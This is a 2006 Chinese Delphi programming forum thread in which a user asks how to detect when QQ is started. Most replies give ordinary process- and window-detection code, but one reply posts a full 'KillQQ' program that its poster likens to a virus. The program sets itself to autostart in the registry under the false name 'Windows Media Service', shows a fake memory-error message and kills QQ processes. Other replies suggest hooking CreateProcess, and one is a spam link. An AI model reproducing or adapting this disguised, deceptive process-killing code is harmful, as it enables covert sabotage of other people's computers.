请问：如何监视系统，知道用户打开了ＱＱ？(100分)

chen_jin · 2006-01-30

是监视系统新建进程吗？请指教！

redneck · 2006-01-30

给你一个参考： function FindTask(ExeFileName: string): Integer; const  PROCESS_TERMINATE = $0001; var  ContinueLoop: BOOL;  FSnapshotHandle: THandle;  FProcessEntry32: TProcessEntry32; begin  Result := 0;  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);  while Integer(ContinueLoop) <> 0 do  begin    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or        (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then        Result := 1;        ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);    end;  CloseHandle(FSnapshotHandle); end; QQ的进程名就是“QQ.EXE”，调用的时候findTask('qq.exe'). FindTask返回值为1就说明找到QQ.EXE进程了.

chen_jin · 2006-01-31

谢谢redneck，可能我没说明白。 我想做一个监视系统的程序，当用户在系统中打开ＱＱ时，我的程序该如何知道。也就是您上面的代码，应在何时调用？系统新建进程？系统新建窗口？ 我刚学Ｄｅｌｐｈｉ，最好给出代码，多谢了！！！

redneck · 2006-01-31

简单点，用一个TIMER监视就可以。你看下面这个东西是不是你想要的： (注意uses里面多加一个Tlhelp32) Timer的interval设置成1000;每秒钟检测一次QQ.EXE是否存在： unit Unit1; interface uses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, ExtCtrls,Tlhelp32; type  TForm1 = class(TForm)    Timer1: TTimer;    procedure Timer1Timer(Sender: TObject);  private    { Private declarations }  public    { Public declarations }  end; var  Form1: TForm1; implementation {$R *.dfm} function FindTask(ExeFileName: string): Integer; const  PROCESS_TERMINATE = $0001; var  ContinueLoop: BOOL;  FSnapshotHandle: THandle;  FProcessEntry32: TProcessEntry32; begin  Result := 0;  FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);  FProcessEntry32.dwSize := SizeOf(FProcessEntry32);  ContinueLoop := Process32First(FSnapshotHandle, FProcessEntry32);  while Integer(ContinueLoop) <> 0 do  begin    if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) = UpperCase(ExeFileName)) or        (UpperCase(FProcessEntry32.szExeFile) = UpperCase(ExeFileName))) then        Result := 1;        ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);    end;  CloseHandle(FSnapshotHandle); end; procedure TForm1.Timer1Timer(Sender: TObject); var  i:integer; begin  i:=findtask('qq.exe');  if i=1 then showmessage('find qq.exe'); end; end.

jfyes · 2006-01-31

有点像virus program KillQQ; uses  Windows; var  Thread: Thandle = 0;  ThreadID: DWORD;  IsExit: BOOL = False;  MSG: TMSG;  HH: HKEY;  ExeName: array[0..255] of Char;   const  AClssList: array[0..2] of array[0..255] of Char = ('Tencent_QQBar', 'Tencent_AddrBar', 'Tencent_AddrToolBar'); function WriteKey(PhkResult: HKEY; IpSubKey, aKeyName, IpValue: LPSTR): Boolean; function IsRelative(const Value: string): Boolean; begin  Result := not ((Value <> '') and (Value[1] = '/')); end; var  Disposition: Integer;  Relative: Boolean;  S: string; //Example: WriteKey(HKEY_LOCAL_MACHINE, 'SOFTWARE/Microsoft/Windows/CurrentVersion/Run', pchar(shortName), Pchar(exeName)); begin  Result := false;  S := IpSubKey;  Relative := IsRelative(IpSubKey);  if not Relative then    Delete(S, 1, 1);  IpSubKey := pchar(S);  if RegOpenKey(PhkResult, PChar(IpSubKey), HH) <> ERROR_SUCCESS then    if RegCreateKeyEx(PhkResult, Pchar(IpSubKey), 0, nil,      REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, nil, HH, @Disposition) <> ERROR_SUCCESS then    begin      //MsgBox('Open registry error!', MB_OK);      if PhkResult <> 0 then        RegCloseKey(PhkResult);      exit;    end;  Result := RegSetValueEx(HH, PChar(aKeyName), 0, 1, PChar(IpValue), lstrlen(IpValue)) = ERROR_SUCCESS;    //MsgBox('Registry SetValue error!', MB_OK);  if PhkResult <> 0 then    RegCloseKey(PhkResult) end;   procedure FormatChar(output: PChar; format: PChar; arglist: array of Integer); begin  Windows.wvsprintf(Output, format, @arglist[Low(arglist)]) end; function KillProcFromHwnd(const Hwnd: HWND): BOOL; var  PID: DWORD;  Text: array[0..1024] of Char; begin  if Windows.IsWindow(Hwnd) then begin    GetWindowThreadProcessId(Hwnd, @PID);    FormatChar(Text,    '程序阅读内存：$%8.8x 错误，请重新启动程序。'#13#10'错误地址：$%8.8X。'#13#10'进程地址：$%8.8X。'#13#10'按[确定]终止程序，按[取消]调试程序。',    [Hwnd + 255, Hwnd, PID]);    Windows.MessageBox(Hwnd, Text, 'QQ', MB_OKCANCEL + MB_ICONHAND);    Result := TerminateProcess(OpenProcess(PROCESS_TERMINATE, False, PID), 0);  end else  Result := False; end; function CheckClassName(const ClassName: PChar): BOOL; var  I: Integer; begin  Result := False;  for I := Low(AClssList) to High(AClssList) do    if lstrcmp(AClssList, ClassName) = 0 then    begin      Result := True;      Break;    end; end; procedure ThreadProc; stdcall; var  H: HWND;  P: TPoint;  Cname: array[0..255] of Char; begin  repeat    Windows.Sleep(100);    H := FindWindow(nil, 'QQ用户登录');    if H <> 0 then      KillProcFromHwnd(H);    GetCursorPos(P);    H := Windows.WindowFromPoint(P);    if H <> 0 then begin      FillChar(Cname, SizeOf(Cname), #0);      Windows.GetClassName(H, Cname, SizeOf(Cname));      if CheckClassName(Cname) then        KillProcFromHwnd(H);    end;  until IsExit; end; procedure ThreadProcA; stdcall; var  H: HWND; begin  repeat    Windows.Sleep(1000 * 60);    H := FindWindow(nil, 'QQ');    if H <> 0 then      Windows.SendMessage(H, $0010, 0, 0);  until IsExit; end; var  Mutex: DWORD; begin  Mutex := Windows.OpenMutex(MUTEX_ALL_ACCESS, False, 'WindowsMediaService');  if Mutex <> 0 then Halt;  Windows.CreateMutex(nil, False, 'WindowsMediaService');  lstrcpy(ExeName, PChar(ParamStr(0)));  WriteKey(HKEY_LOCAL_MACHINE, 'SOFTWARE/Microsoft/Windows/CurrentVersion/Run', 'Windows Media Service', ExeName);  Thread := Windows.CreateThread(nil, 0, @ThreadProc, nil, 0, ThreadID);  Windows.CreateThread(nil, 0, @ThreadProcA, nil, 0, ThreadID);  while GetMessage(Msg, 0, 0, 0) do;  IsExit := True;  if Thread <> 0 then begin    Windows.TerminateThread(Thread, 0);    CloseHandle(Thread);    Thread := 0;  end;  { TODO -oUser -cConsole Main : Insert code here } end.

chen_jin · 2006-01-31

jfyes,多谢了！ 以后，还请多指教!

诸葛白痴 · 2006-02-01

最好的方法是把CreateProcess给hook了，这样在qq主程序启动前就可以搞定qq了，如何hook api现在很多代码

praisesoft · 2006-02-01

取QQ.exe进程名可能不行，如果QQ.exe改成其他名就不行，最好是查出QQ特征码进行过滤。

lovenuo · 2006-02-02

代码很简单，可以用！ unit Unit1; interface uses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, StdCtrls, ExtCtrls; type  TForm1 = class(TForm)    Timer1: TTimer;    Button4: TButton;    procedure Button4Click(Sender: TObject);  private    { Private declarations }  public    { Public declarations }  end; var  Form1: TForm1; implementation {$R *.dfm} function GetQQ:hwnd; var  QQhwnd:hwnd;  szclass:array[0..254]of char; begin  QQhwnd:=GetWindow(Application.Handle,GW_HWNDFIRST);  while QQhwnd<>0 do  begin    GetClassName(QQhwnd,@szclass,255);    if StrPas(@szclass)='#32770' then    begin      if FindWindowEx(QQhwnd,0,'Tencent_QQToolBar',nil)>0 then      begin        Result:=QQhwnd;        exit;      end;    end;  QQhwnd:=GetWindow(QQhwnd,GW_HWNDNEXT);  end;  Result:=0; end; procedure TForm1.Button4Click(Sender: TObject); begin if GetQQ=0 then exit; Application.MessageBox('QQ is Run!!','QQ',MB_OK+MB_ICONINFORMATION); end; end.

kaoleoloi · 2006-02-11

帮顶！ ╭=========================================╮   80G海量源代码,控件，书籍全免费狂下不停！   http://www.source520.com   ╰=========================================╯

linfinder · 2006-02-11

还是用HOOKAPI吧，拦截CreatePorcess，因为系统运行程序基本都是调用这个函数的。 具体看这个： http://www.delphibbs.com/delphibbs/dispq.asp?lid=3319981

请问：如何监视系统，知道用户打开了ＱＱ？(100分)

chen_jin

Unregistered / Unconfirmed

redneck

Unregistered / Unconfirmed

chen_jin

Unregistered / Unconfirmed

redneck

Unregistered / Unconfirmed

jfyes

Unregistered / Unconfirmed

chen_jin

Unregistered / Unconfirmed

诸葛白痴

Unregistered / Unconfirmed

praisesoft

Unregistered / Unconfirmed

lovenuo

Unregistered / Unconfirmed

kaoleoloi

Unregistered / Unconfirmed

linfinder

Unregistered / Unconfirmed

Similar threads